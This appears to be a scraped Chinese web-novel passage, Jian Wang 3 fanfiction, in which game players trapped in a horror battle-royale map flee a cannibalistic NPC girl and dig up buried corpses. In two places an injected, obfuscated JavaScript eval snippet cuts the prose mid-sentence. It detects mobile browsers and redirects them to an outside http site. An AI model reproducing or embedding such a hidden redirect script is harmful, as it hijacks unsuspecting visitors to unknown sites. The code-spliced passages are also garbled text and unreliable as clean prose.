《[剑三]如果把全门派扔进浪客行大逃杀会发生什么》 1. 第一天·湘竹溪(一) “好饿啊……” 身后瘦骨嶙峋的小女孩喃喃自语。 她迟缓地转动眼珠,俯下腰,单手在地上摩挲着什么。 “卧槽——!那个不能吃!” 柳七刀回头看了她一眼,大惊失色,一把打开她的手。 随着他的动作,小女孩手里的东西洒落一地,那分明是几根人的断指,颜色乌青,脏污的指甲残破不全,血迹已经发黑。 “可是我很饿……”小女孩的反应像是天生慢了半拍,她慢吞吞地侧过头,用不舍的眼神看着滚落在泥土里的断指,天真稚嫩的童声听起来竟然有些阴森,“真的好饿啊……” 柳七刀抹了抹额头上的冷汗。 “你先跟着我,等会给你打兔子肉吃。” 他真怕这叫小谷的小女孩抛出来一句“兔兔这么可爱怎么能吃兔兔”,还好她没有,只是缓缓地抬起眼睛看他:“那你……说话要算数哦。” 那双黑白分明的大眼睛在瘦脱了相的小脸上格外突出,有一种说不出的诡异感。明明知道她是友善NPC,被她这样盯着,柳七刀还是浑身不舒服,只能匆匆移开眼,说:“走了。” “好。”小谷很听话,慢慢地跟在他后面,笃、笃、笃的声音随之响起。 柳七刀没回头,他知道那声音是小谷的脚步声。 她的左手和右腿都是假肢,不知道是什么材料,看着像木头,颜色又有些发白,他也没有问。看过的不少无限流小说告诉他,不要闲着没事乱戳NPC,万一把绿名戳成红名就不好玩了,就像唐僧经历九九八十一难终于到达西天之后看见佛祖头上缓缓浮现血条…… 柳七刀啊柳七刀!都什么时候了你怎么还在想梗图! 他握紧了刀柄,沉下心抛开脑子里表情惊恐的徐少华版唐僧,打量四周。 这张地图应该是湘竹溪。隔着屏幕见过的景色突然变成现实的感觉一点也不好,准确地说,他对这个鬼地方一点亲切感也没有,反而神经紧绷,有一种强烈的危机感。 竹林本该清幽雅静,但这里却一派莫名的死气沉沉,明明太阳还高悬在头顶,穿过竹梢洒下来的阳光却一点也没给人温暖的感觉,风也是凉飕飕的。 他脚下的这条石板路甚至溅上了斑驳的血迹,显然时间已经很久远,那些血迹都乌沉沉地发着黑。 路旁的泥土有种被翻过的感觉,但柳七刀一点也不好奇,毕竟刚刚小谷就是从土里捡起来那几根手指的。 也许是太紧张了,柳七刀的思维忍不住又开始发散。 我刚刚打开小谷的手的时候有没有碰到那些手指啊?没碰到吧?不会碰到了吧?不会吧不会吧? 他越想越难受,恨不得立刻找个地方洗手。回头看一眼小谷,小谷还亦步亦趋地跟着他,黑得像墨的大眼睛直勾勾地盯着路两边那些被翻过的泥土,就差没在脸上写个好饿好想吃了。 这是柳七刀冷静下来后第一次仔仔细细地打量她,发现她嘴角边还有些很可疑的污迹。 他低头看自己的左手,感觉这手不能要了。 别人家主角穿越都是天选之子,进去先发一个金手指,然后再给一批好队友。轮到他,开局发一个只会喊饿的NPC,还给ban了一只手。 现在要去哪、做什么,怎么才能离开这个地方,柳七刀一概不知。他侧耳听了一会儿,终于在竹叶簌簌中听到了淙淙的水声。 他没有犹豫,立刻带着小谷往那个方向走去。虽然不怎么玩浪客行,但柳七刀知道,玩家们的出生点营地就在溪水的附近,传送NPC蒋玉凤也在那里。 这里明显比游戏那个很快就能跑到尽头的小地图大多了,顺着溪流走了半天,柳七刀也没看到营地在哪里,溪水就像没有尽头一样,一直蜿蜒着往竹林的深处流去。 他隐隐约约有种预感,如果一直这么走下去的话,走到饿死也见不到营地。 柳七刀干脆在小溪旁边蹲了下来。这溪水不算深,倒是很清澈,底部的砂石水草清晰可见。他仔仔细细地洗了洗手,把被ban的左手解放,然后扭头看看小谷,开始犹豫。 如果努力无视她的一切诡异之处,那么小谷看起来也就是个丁点儿大的小朋友,正常世界里这个年纪的小孩儿估计也就是在上小学。 柳七刀忍痛撩起燕云校服的下摆,沾上点水给小谷把嘴边那些不知道是血渍还是什么的玩意擦干净了,又放回溪水里洗了洗。这个过程他特别谨慎,生怕小谷突然暴起一口把他的手指也咬掉了,但小谷只是一动不动地仰着脸看他,忽略那双鬼气森森的大眼睛,还有点可爱。 结果柳七刀刚放下手,小谷便细声细气地问他:“你想做菜人吗?” 柳七刀直觉这不是什么好玩意儿:“我想做个正常人可以吗?” 小谷眨巴着眼睛,似乎很失望地叹了口气,又跟个木偶人一样不动弹了。 柳七刀把校服下摆从水里捞出来,拧干衣角。一片竹叶落在他面前的水面上,打着旋被冲走,他看着溪水,忽然愣了一下。 这地图……好像没有活物? 那种死气沉沉的阴森感终于得到了解释,林间无鸟,溪中无鱼,连小飞虫都没看到一只,好像这里是一块死地,除了他和小谷,再没有其他会喘气儿的东西了。 他试图再从小谷那问出点情报来,但这小姑娘就是翻来覆去的喊饿。最后可能是柳七刀终于把她问烦了,小谷突然冷冷地盯住他:“我的兔子呢?” 感觉小谷的潜台词好像是“再不让我吃饱我就把你吃了”,柳七刀选择闭嘴。 他在竹林里漫无目的地乱走,小谷紧紧地跟在后边。怕迷失方向,柳七刀不敢远离溪流,起码挨着水源一会儿不至于渴死。但就在他放弃寻找营地的念头之后,面前单一的景色开始逐渐有了变化,似乎这地图就是刻意不让他找到营地一样。 面前隐约出现了一排竹屋的轮廓,柳七刀大喜,让小谷念叨得他也觉得有点饿了,不知道这房子里能不能找到些吃的。 他还没接近,忽然听到了一阵对话声。 这忽如其来的人声把柳七刀吓了一大跳,赶紧停下脚步,找了块岩石当掩体,屏住呼吸,侧耳细听。 声音就是从竹屋里传出来的,说话的似乎是个年轻男人。 “这鬼地方,到底要怎么才能出去啊!” 是和他一样的玩家?柳七刀又惊又喜,刚要从岩石后面走出去认亲,另一个声音却让他瞬间出了冷汗。 那是个又尖又细、显然不属于人类的怪异声音,拖着长长的调子:“别着急……” “我怎么能不着急。”先前那个人说,“这里连活物都没有,走不出去,迟早饿死。” 怪异的声音毫无感情:“着急也没有办法、没有办法……” 柳七刀小心翼翼地挪到另一块巨石后面,向竹屋内张望。他内心还抱有一丝幻想,希望对话的是两个正常人,也许另一个人只是天生声音不好听而已,但他看了一眼,便如坠冰窟。 竹屋光线通透,阳光穿过门框将阴影投在地面,里面赫然只有一个人。 他挪动的声音似乎引起了屋内人的注意,那诡异声音道:“有人!有人!” 影子立刻动了起来,起身便朝屋外走来。柳七刀心道不好,转头跟小谷说:“快跟我跑!” 结果他不转头还好,一转头差点吓得一屁股坐在地上。原来小谷不知道什么时候已经紧紧地贴在他背后,死死地看着他,最恐怖的是她正大张着嘴,似乎要咬向柳七刀。 在柳七刀惊恐的注视中,那黑漆漆的嘴巴越长越大,越长越大,渐渐地占据了她的半张脸,露出两排雪白雪白的森森尖牙,猛然咬了下来—— 柳七刀猛地往后一仰,躲了过去,就听到那两排利齿咬合时发出一声令人不寒而栗的脆响,他毫不怀疑这一口能撕下他一大块肉! 趁小谷动作缓慢,他爬起来转身想跑,但就在这时候,竹屋里出来的人也走到了柳七刀藏身的岩石前。 完了!柳七刀这样想着,冷不丁便与来人对上了眼。 那是一个表情愕然的刀宗,肩膀上还站着一只鹦鹉。 鹦……鹉…… 想起刚刚那个诡异的声音,柳七刀真是欲哭无泪,他也顾不上别的了,一拍那个刀宗的肩膀:“兄弟快跑啊!” “卧槽哥们!”刀宗看到了他身后的小谷,反应也是快,撒腿就跑,“你这是带了个什么玩意儿过来啊!” 那鹦鹉两爪死死抓住刀宗的肩膀,整只鸟风中凌乱,嘴里还在鬼吼鬼叫:“什么玩意儿!什么玩意儿!” 这地图竹林稠密,很难快速奔跑,细小的竹枝抽得人生疼,竹叶划在脸上就是一道血痕。好在小谷虽然变成了暴怒的红名,动作倒是没那么快,不一会儿,那恐怖的笃笃笃的声音就被他俩甩在后面了。 确定一时半会儿看不见小谷的身影,柳七刀才停下来,除了大学体测他就没跑这么快过,生怕小谷一口咬在他屁股上。 旁边的刀宗一脸心有余悸:“那是什么鬼,你们霸刀的门派跟宠都这么……” 他琢磨了半天,最后保守用词:“有个性。” “……那是NPC。”柳七刀把气喘匀了,无语道,“为什么你开局还有个鹦鹉,我开局是这么个要人命的玩意。” 刀宗同情地拍拍他的肩膀:“忽然被扔进这么个鬼地方,我本来都要自闭了,现在看到你就感觉好多了。兄弟怎么称呼?” “柳七刀。”柳七刀说,这个名字有些敷衍,但又很有门派特色,他还挺满意的,“你呢?” “shit bro!”刀宗说,柳七刀吓得一回头,但身后空空荡荡,小谷并没有追上来。 对上他迷惑的眼睛,刀宗放慢语速:“谢——不——若,我叫谢不若。” “……” “莫名其妙地掉到这地方来,还要让我起名。”谢不若朝天比了个凸,“还把我好不容易想出来的‘酷炫飞天蟑螂’屏蔽了!” “牛的。”柳七刀朝他比个大拇指。两个人勾肩搭背哔哔嘟嘟一会儿,总算是没那么慌了,开始研究这个诡异的事情。大家都是同一片海域的冲浪人,无限流小说和恐怖片没少看,商量了一会儿,确定是穿越。 “兄弟。”谢不若沉思,“咱们是两个人吧。” 柳七刀提醒他:“还有一只鸟。” 鹦鹉不满地啄着谢不若的头发。 谢不若按住鹦鹉:“我是说,我们为什么要跑?咱们两个人还打不过一个那么大点的小丫头?” “你觉得那是正常小丫头吗!”柳七刀对他的胆量肃然起敬。 “我们有刀啊。”谢不若摸了摸腰间的刀,非常淡定,“四十米的大长刀还能让一个小丫头冲到咱们面前?我一个刀气过去,你再给个墙,不就完事了?” “好像也有道理。”柳七刀迅速被说服,“那小女孩也挺惨的,一直喊饿,什么都吃,咱俩下手快点,无痛把她送走。” 二人一拍即合,又掉头往回走。不多时,便听到了“笃、笃、笃”的沉闷响声,是小谷义肢和石板路撞击的时候发出的声音,她似乎还在附近缓慢地徘徊。 虽然做好了心理准备,但柳七刀听着这动静,还是有点不安。 他想到了石板路上那些发黑的陈年血迹,和道旁散落的断指。 这不会都是让小谷吃掉的人吧…… 他有些不寒而栗,不知道这些人是NPC还是和他一样莫名其妙穿进来的玩家。 谢不若不知道这么多细节,很淡然地目视着前方,道:“来了。” 果然,小谷就站在前面。听到谢不若的声音,她缓缓转身,露出那张黑洞洞的大嘴和两排尖牙,就朝这边冲过来。 这可比恐怖片真实多了,再看多少次柳七刀都不能适应,谢不若也有点怵:“刀墙准备!” “好!”柳七刀应道,手已经握上了刀柄,与此同时,谢不若手在腰间刀柄上一拍,唐刀出鞘,闪过一道锐利的冷光—— “……” 两个人握着刀,对视了一眼,二话不说归刀入鞘,掉头逃跑。 小谷还在后面猛猛追,谢不若一边跑一边朝天空比凸:“我真是服了!穿都穿了倒是把技能让我们学了啊!” 柳七刀在他旁边专心逃跑,得知自己没有散流霞的他已经是一只废貂了。 很快,他们再次甩掉小谷。 “坏消息,我觉得她动作变快了。”柳七刀坐在岩石上,“这么下去,迟早会被追上的。” 谢不若也发现了这个问题,脸色一时很沉重。 空有武器却不会本门派技能这件事,是两个人都没想到的,明明一般的穿越套路是握上刀柄,本门武学便会自动浮现在脑海里,他俩倒好,刀往哪挥都不太确定。 “有没有可能,是要我们自己学?”柳七刀打过浪客行,知道一点,“每关结束后会有补给宝箱,里面可能有能让我们变强一些的东西。” “我是纯PVP,没打过浪客行。”谢不若表明身份,“但是那要先通关了才有吧。一般浪客行的通关要求是什么?” “杀够敌人、打败boss、保护NPC、存活一定时间。”柳七刀想了想,“应该就这些?我也记不太清,不怎么玩这个。” 谢不若问他:“你觉得那个小谷是要我们打败的boss还是保护的npc?” “都不是。”柳七刀摇头,“她在浪客行里就是个普通绿名NPC,会跟着玩家走的那种,我也不知道为什么她会突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691149|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然——” 他说着说着突然灵光一现,那张徐少华惊恐唐僧梗图再次出现在脑海。小谷为什么狂暴?因为她饿了! “bro,你刚刚从竹屋里出来。”他一把抓住谢不若,“那里面有吃的吗?” 谢不若道:“有啊,那排屋子里一个人都没有,但厨房里还有点大饼熏肉什么的,太诡异了,我没敢碰,就出来了。” 他看着柳七刀的脸色,也明白了:“你要喂饱小谷?” “按理说应该是可以让她变回绿名的。”柳七刀也不太确定,“她先前要吃的是兔子,这地方也没有兔子啊,只能先试试了。” “那就先试试。”谢不若拍板。 于是他们再一次踏上回头路。 柳七刀发现,只要心里不想着找到出去的营地就不会被鬼打墙,他们顺着石板路走,不一会儿就看到了那排竹屋。 周围没有声音,小谷似乎走远了。 两个人摸进屋子里。谢不若说得没错,这竹屋也是处处透着诡异,一个人都没有,但屋内的用具都像是有人居住,床铺上的被褥还是掀开一半的,桌上的杯中甚至还有茶水,只是所有东西都落了一层细灰,空气中飘荡着潮湿竹子的霉腐味。 “说不定有什么通关线索在这里。”谢不若说,伸手在窗前的茶笼里翻了一下,这种茶笼一般是一层桑叶一层蚕的,但现在桑叶都在,蚕却不见了,好像有什么力量将所有活物从这张地图抹去了一样。 他跟柳七刀说了这个发现,柳七刀沉思:“你说细菌算活物吗?” “算吧,微生物也是生物。”谢不若迷茫道,“怎么了?” “怪不得这些食物不变质……那这里是不是永远也酿不了酸奶。”柳七刀道。 “哦,那也没有酱油、腌菜和酒了。”谢不若说。 他们俩你一句我一句胡言乱语,以此减轻心中的紧张感。果然插科打诨就是让人心里舒服一点,柳七刀推开一扇木门,那门轴发出长长的吱呀声,吓得他赶紧停下手,仔细听着附近的动静,生怕小谷闻声赶到。 没有那种笃笃笃的声音,柳七刀放下心,走进房间。 这里正是厨房。 灶台上放着一摞饼,柳七刀伸手摸了摸,还是热的。以前在玄幻小说里看到觉得无所谓,但真发生在自己身上,这种诡异的感觉,还是很难形容出来的。 他俯下身嗅了嗅,闻到一股非常淳朴的面香,感觉自己肚子也有点饿了。 谢不若也走了进来,柳七刀拿起大饼,说:“找到这个了,再看看有没有肉。” 他专心在灶台翻找,余光却从窗户里看到人影一晃,那分明就是谢不若,正在窗外摘下窗沿上晾着的一排熏肉。 谢不若在外面,那他身后的是? 谢不若也看到了他,瞳孔瞬间缩小,那是一种看到恐怖事物才会露出的表情,柳七刀瞬间心凉了大半截,他想也不想地转过身,便看见小谷恶狠狠地看着他,那张还算可爱的脸上现在只剩下眼睛和生满了利齿的嘴,紧接着便咬了过来—— 她的动作果然变快了。这是柳七刀唯一的想法。他被小谷堵在灶台前,无处可跑,吓得闭上了眼睛,完全是身体的本能反应,抬起手就把大饼朝前塞去。 等了很久,也没听到利齿落下的声音。 柳七刀别过头,声音颤抖:“bro,我的手还在吗?” 谢不若的头比他扭得还快:“我不敢看。” “……”谢不若肩膀上的鹦鹉冷漠道,“还在。” 柳七刀这才转头看过去,发现小谷已经变回了原样,正抱着大饼啃。 “吓死我了。”谢不若说,擦了擦冷汗,“我以为她要咬掉你的手。” 小谷还在吃饼,她的嘴和牙齿都已经变回了正常人的样子,听到了,便很无邪地抬起脸,问谢不若:“你想做菜人吗?” 谢不若不假思索:“当然不想,为什么要做菜人啊!” 听到令自己失望的答案,小谷不再理他,专心吃饼,小脸上露出天真的笑容:“哇呜,好吃好吃!” 她再可爱,想到刚才那一幕,柳七刀还是不寒而栗。他转头问谢不若:“你知道菜人是什么?” “就是很菜的人吧。”谢不若说,“哥的身份注定不能做菜人,哥是牛人,哥竞技场十五段。” “……” 柳七刀无语地转过脸,谢不若又在他身后强调:“散排。” 他俩说话间,小谷已经把一张饼吃完了,柳七刀赶紧又抓了一张饼紧张地看着她,生怕她又表演当场变身。 还好,小谷看着他的动作,只是笑嘻嘻地说:“谢谢你,我吃过啦。” “一张饼管饱多久?”柳七刀谨慎发问,然而小谷并不回答,只是歪着头看他。 “全拿上全拿上。”谢不若疯狂往怀里揽熏肉,“省得她一会儿又翻脸……淦,怎么连个背包都没有。” 他四处看了看,找了两个背篓来,分柳七刀一个。 柳七刀接过来,把厨房所有能吃的东西一股脑装进去背上,就往外走。小谷还是跟在他后面,一走动又有笃笃笃的响声,看来刚刚是一直等在门后。 这熊孩子……柳七刀突然不知道说什么好。都走到厨房了,自己动手拿点东西吃又不会怎么样,非要别人喂。 “你说,还有别人在这个图吗?”谢不若问他,“就咱俩是天选之子?” “不知道,但是我觉得应该还有。”柳七刀说。他也说不上来是为什么,就是隐隐约约有个感觉。 不知道为什么我们进图的时间有快有慢……可能就跟过图一样有网速差距吧。他胡思乱想着,往旁边转头一看,又吓了一跳,原来谢不若已经开始吃饼了。 “总不能饿死吧。”谢不若坦然道,还掰了一点儿饼渣给鹦鹉,“挺香,纯天然大唐麦饼,历史的味道……” 柳七刀发现谢不若和自己差不多,都是很能说服自己的乐天派,一般按照恐怖小说里的逻辑,总是有人要发疯不肯接受现实的,但他俩都很能接受。 两个人并肩坐在竹屋门口的石阶上吃饼,小谷站在一边看着。 “起码能排除消灭敌人这个选项了。”柳七刀边吃边说,“这一路也没看到什么玩意,如果是打怪,满地图红名。NPC和boss也没看到,我觉得通关条件很有可能是存活。” “怎么活?”谢不若问,“这些饼吃完能活到那时候吗?别先饿死了。” 同是PVP的柳七刀感谢自己做过的周常:“有个大地符印的圈,然后开始刷怪,不能出圈不能死。” 谢不若眼睛一亮,感觉有门:“大地符印长什么样?” “忘了。”柳七刀长叹,“如果有个明教在这带躺就好了……” 2. 第一天·湘竹溪(二) 带躺的明教没有,药宗倒是有一个。 他们是在小溪旁边遇见药宗的。那是个挺漂亮的姑娘,一脸茫然地站在溪边,似乎是刚来不久。 谢不若和柳七刀大喜:“家人啊!” 药宗听见动静警惕侧过脸,看到他俩,愣了一下:“哎呀我去,真穿了。” “穿了,穿了。”柳七刀说,“欢迎加入我们的互帮互助大队,太好了,队里有个奶妈就是让人放心!” 谢不若也说:“甚至可以原地组一个33队伍了。” 那药宗一句话击碎了他们的快乐:“我是无方。” 三个人回到竹屋,互报了姓名。药宗姑娘叫龙葵,也是莫名其妙进来的。好消息她之前的确是个药奶,而且精通灵素,坏消息她现在是个无方,并且不怎么会玩。 “奶心法不能进浪客行。”龙葵瞥他们一眼,“你们不知道?” 两个PVP齐齐摇头。 龙葵的思维比较清晰,听他们讲了之前的故事,便开始发问:“你们俩进来的时间隔了多久?” 柳七刀说:“按照路程来算的话,大概前后间隔有个一两小时。我迈一步是一米左右,按照平时走路的速度和跑那几段的均速来说,我觉得差不多。但是跑起来的时候应该是跑出我人生中最快速度了,所以这时间还可以再短点。” “你还数着你跑了多少步?”谢不若震惊。 “差不多吧。”柳七刀挠挠头,“我想试试这地图有多大,但是怎么也走不到边。” “我也是。”龙葵点头,“浪客行是有营地的,我想看看能不能走到那里,但怎么也走不过去。” 柳七刀便把鬼打墙的事告诉了她。 “原来如此,看来捷径是不可以走的。”龙葵沉思,“我有一个不成熟的想法……” 她抬起头,看着他们,缓缓说:“如果自绝经脉,能不能回营地复活?” 竹林里安静极了,连风声都没有。龙葵的声音很轻,但听在耳朵里,却沉甸甸的,让人有一种不寒而栗的感觉。 柳七刀摸摸刚才逃窜时脸上被竹叶刮出的血痕,嘶了一声:“这伤口是真的会痛,我怕我们如果自绝经脉了那就是真的……” “你还没见识过这小丫头嗷嗷张着大嘴跟你后面咬屁股的场景。”谢不若说,指了指小谷,“太真实了,我觉得还是想办法活着比较好。” 龙葵也只是随口一说,听他们绘声绘色地描述了一下小谷的事迹,再看小谷时,眼神都警惕了,默默地挪远了一点。 “那我们究竟要做什么呢?”她思考道,“按理说我们应该得有个通关目标吧。而且每隔一小时就进来一个人……难道是要人齐了才会发布任务?” “谁发布任务?主神?‘想真正的活着吗?’”谢不若说。柳七刀看了他一眼,两人撞了撞拳头,确认过眼神,是看过同一本小说的人。 龙葵对这俩粗神经无语:“……万一是咸鱼发布呢,随机挑选一群骂过他的人扔进浪客行受苦受难。” “对啊!也不是没有可能!”柳七刀极易被说服,“之前技改我在贴吧骂了他整整三大页!” “……我随口说的。”龙葵捂脸,“求你别信。” 谢不若则比较担心生存问题。他挨个检查了一整排竹屋,把能找到的食物都拿了出来,清点了一下:“按照正常食量的话,这些食物足够我们吃三天,但如果每个小时都来一个人的话就比较危险了。” “应该不会无限制地放人,总要有个上限。”龙葵说,“也许是小队的五个人,也许是团队的二十五个人,也许是十八个门派……” 她说着说着突然愣了一下:“哎,你们试过组队和友伤吗?” 这还真没试过。两个人当即拔刀,然后沉默。 刀宗的唐刀森冷锋利,霸刀的双刀锐光如虹,随便来一下感觉都要出大事。 最后还是龙葵从百草卷中抽了柄柳叶刀出来,给柳七刀和谢不若手指头上一人划了一下。 “很疼。”柳七刀捂着流血的手指头,“有友伤!” 药宗的百草卷里行医用具一应俱全,龙葵一边给他俩包指头,一边说:“可能我们三个单纯待在一起不算是组队。” “怎么不算组队?”谢不若又朝天比凸,“我俩是一起逃过命的交情了,生死之交!” 他说着便撞了撞柳七刀的肩膀:“你愿意跟我组队不?” “当然啊。”柳七刀说,话音刚落便愣住了,谢不若的表情也变了变。 那是一种很奇妙的感觉,也没有什么主神或系统的声音通知他,但是他意识到,他和谢不若是队友了。 “还是个自由开发型的副本。”他喃喃道。那边谢不若已经照葫芦画瓢找龙葵:“快来组队!” 龙葵不明就里地应了声好,也愣住了。 三个人对视一眼。 “召唤背包。”柳七刀说。 无事发生。 “给我背包?”谢不若说,“背包!B!Ctrl加B!退出游戏!队伍面板!茗伊插件!” “快捷键设置!P!武学面板!”柳七刀也开始碎碎念,“奇穴!技能!霸刀技能!人物面板!” 被他们的热情所带动,龙葵头脑一热,也小声说:“……武学助手。” 并没有什么事发生。 谢不若的嗓子都快哑了:“威名点……好友……” “卧槽!”他蹦起来,“可以加好友!” “试了这么久,总算试出来一个。”龙葵叹气,三个人用幼儿园小朋友的社交对话方式加上好友。 “这说明,我们的探索方向还是正确的。”柳七刀非常乐观,“再试试,说不定还有什么其他功能。” 他们一试就停不下来,还是龙葵先察觉到不对,示意柳七刀看旁边。 不知道什么时候,小谷又饿了,表情阴沉下来,缓缓张开了嘴,越长越大。 一回生二回熟,谢不若直接抄起饼塞到她嘴里,还慈爱地拍了拍她的脑袋:“别噎着啊。” “……”龙葵点点头,“我们团队别的不说,心理素质绝对很好。” 柳七刀说:“我和bro已经是经历过大风大浪的人了,什么都——我淦!” 他一直看着小谷,在心里奇怪这次吃饼时她怎么没变回原样,结果就看到她飞快地吃完一张饼后再次狰狞着脸朝谢不若咬去,声音都吓得直接变调了,伸出手把谢不若往旁边猛地一推,让小谷咬了个空。 谢不若肩上的鹦鹉翅膀擦过小谷的脸,吓得吱哇乱叫,利齿咬合的声音让三个人都倒抽了一口凉气。 “什么情况!”谢不若骂了一声,飞快地从地上爬起来,“给她吃东西不管用了?” “也许是吃不饱了。”龙葵沉吟道,从背篓里又扯了张饼,对小谷招招手,“嘬嘬嘬。” 柳七刀和谢不若齐齐扭头看她:姐姐好猛! 龙葵把饼抛给小谷,果然,她接过饼便吃了起来,又变回了那个人类小女孩的模样,一边吃一边甜甜地问龙葵:“你想做菜人吗?” 龙葵和谢不若思路一致:“我是强人,不是菜人。” 小谷:…… “她饿得越来越快了。”谢不若安抚着炸毛鹦鹉,心有余悸,“这可能也是一种催促我们抓紧通关的计时机制。” “一点靠谱线索都没有,怎么通关?”龙葵说。 柳七刀却是想起了什么:“线索可能是有的。” 他跟谢不若和龙葵说了小谷在地上捡到断指的事情。这听起来太让人毛骨悚然了,两个人的脸色都不好看,看着石板路的表情也变得非常难以言喻。 “要挖出来看看吗?” 柳七刀说,这话说得他自己都心里没底。 谢不若:“挖……吗?” 龙葵:“挖吧……” 虽然这么说了,但三个人没人动手。 “要不然让第四个人来挖。”谢不若提议,“万一咸鱼给我们送来个地鼠门呢,专业对口。” “有道理!”柳七刀说。 “有个锤子道理……”龙葵左右看看,在竹屋的角落里找到了锤子——一筐落了灰的农具。 她抽出两把锄头丢给两人,自己也拿了一把:“太阳在落山,我们最好先开始。” 龙葵说得没错,天色的确在变暗,不知何时,阳光投下的角度已经渐渐偏斜,风越来越凉了。 “天黑之后准没好事。”谢不若接过锄头,“冲了,兄弟们。” 三个人走到石板路旁,看着道旁的泥土发怵。仔细一看,这些土还和树林里的土有所不同,似乎颜色格外深一点,可能是因为被翻过的原因,但也可能是里面还掺了些别的东西。 柳七刀举起锄头:“我我我我我我动手了啊。” 他做了个深呼吸,高高举起锄头,刚要锄下去就被龙葵拦住了。 “小点力……”龙葵笑得很勉强,“万一里面有那个什么,可能会被铲飞出来。” 她说得含糊不清,但谢不若和柳七刀都知道她的意思:小谷能在土里翻找到断指,说不定还有一些别的肢体被埋在这里。 柳七刀控制了一下力气,轻轻地刨了一下,土地基本上没什么变化。 谢不若在他身后道:“貂师傅别刮了。” 鹦鹉也跟着说:“别刮了!别刮了!” “你可以质疑我,但是不能质疑霸刀!”柳七刀说。不过谢不若这么一插科打诨,确实让他心里的紧张感消散不少,他再次挥舞起锄头,脑子里不合时宜地闪过一句话,“只要锄头抡得好,哪有墙角挖不倒”…… 随着这一锄头下去,柳七刀脸色一僵,感觉好像碰到了什么东西。他双手握住锄把,用力往上一提,泥土被破开的同时,一个黑乎乎的东西被他提了出来。 那个东西直接轱辘辘地滚到了他脚边。柳七刀低头一看,这东西圆滚滚的,上面沾满了土,但背后好像有一团黑色的根须。他拿锄头一拨,把这东西翻了过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691150|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,这一下吓得差点没坐在地上——那竟然是个人头! 这个人头不知道在地下埋了多久,整体已经变成了青黑色,表情极度狰狞,眼眶和大张的嘴巴里都填满了黑色的泥,之前看到的黑色根须正是它的头发。 “谢……谢……”柳七刀的锄头咣的一声砸在石板路上,一股反胃的感觉涌了上来,他颤抖着想叫谢不若和龙葵,一回头脱口而出,“谢特!” 那两个人已经跑了八百米远,扶着竹子干呕。 他俩一跑,柳七刀顿时没底了,慌得拔腿也要跑。 但他腿还没挪动,就看见一直安安静静站在一边的小谷直勾勾地盯着那颗头,眼里写满了渴望。她慢吞吞地挪动脚步,笃、笃…… 柳七刀在心里大骂一声,冲上去一把拉住她的手臂:“吃点好的吧我的小姑奶奶!” 小谷扭头看着他,脸上一点表情也没有。柳七刀被她看得直冒冷汗,低头一看,发现自己拉住的正是小谷的左臂,那假肢触感冰凉,刺骨的寒意几乎瞬间就让手指僵硬起来了,他赶紧松开手。 “真要命。”谢不若干呕完回到现场,离那颗脑袋远远的,“这……医生怎么说?” 他俩把目光投向龙葵,龙葵说:“doctor。” 柳七刀颤颤巍巍问:“doctor,咱们还挖吗?” “挖。”龙葵也拿起锄头,做了两个深呼吸,突然开始唱歌,“俺们那嘎都是活雷锋——” “姐姐!自己人!”柳七刀双手捂耳朵,结果他一看谢不若,谢不若一边挖土一边在那碎碎念:“大哥大姐对不住了,这是咱们的活命刚需,现在给您刨出来看看,如果没啥事的话就再埋回去,您要是看着的话也甭见怪,咱们一定让您入土为安嗷。” 他的口音在龙葵的歌声里逐渐跑偏。 别说,让他们这么一搅合,那种恐怖感消失了大半。柳七刀定了定神,先安抚小谷:“饿了就吃饼吃熏肉,这东西里有朊病毒,吃了要出事的。” “你怎能称呼大哥的尊头为东西!”谢不若说,给人头作揖,“大哥,这个霸刀说话不过脑子,你原谅他。” 龙葵听到他这句话差点唱不下去,转头一看,柳七刀竟然一脸很有道理的样子也在那给人头作揖,她看不下去了,心想真是不是一队人不进一队门……也不对,好像把自己给骂进去了。 他们仨战战兢兢地挥舞了半天锄头,最后刨出来一堆残肢白骨。好在这肢体都已经完全变成青黑色,看着就跟游戏里一样,现实感不那么强烈,三个人中间实在忍不住轮流去吐了几次,渐渐地也就麻木了。 龙葵脸都是白的,嗓子快唱哑了:“有点不对。” “怎么不对?”柳七刀有气无力地问。他很饿,但是对着这场面,实在吃不下东西。 “数量不对。”龙葵说着说着又要干呕,“怎么越刨越多了……” 她这句话直接让其他人打了个寒战。的确,他们已经挖了很久,但每次还是能从土里翻出新的断肢,就好像他们脚下的不是什么竹林石路,而是一个乱葬岗。 “我觉得。”谢不若咽了咽口水,“他们好像……越来越完整了。” 一开始挖出来的是几根手指,头,手臂,现在渐渐能看到人的半身了。 “不能再挖了,不然我们的精神会先崩溃。”龙葵说,她来回踱步,最后下定决心,“来吧,看看他们身上有什么线索。” 话是这么说,但三个人相顾无言,谁也不想靠近那些肢体。 祁云纵长途跋涉,好不容易穿过见鬼的竹林,就看见几个人站在一起,地上断断续续散落着一些人的肢体。天色昏暗,看不清站着的是些什么人,但看他们手持武器,似乎刚刚结束了一场屠杀,绝非善类。 他往后退了一步,踩到竹子的断茬,发出一声脆响。 站着的几个人听到了,齐刷刷转过头来! 祁云纵几乎没有犹豫,转身就跑。 “别跑啊兄弟!”身后有人高声喊叫,“自己人自己人!我们是一伙的!” 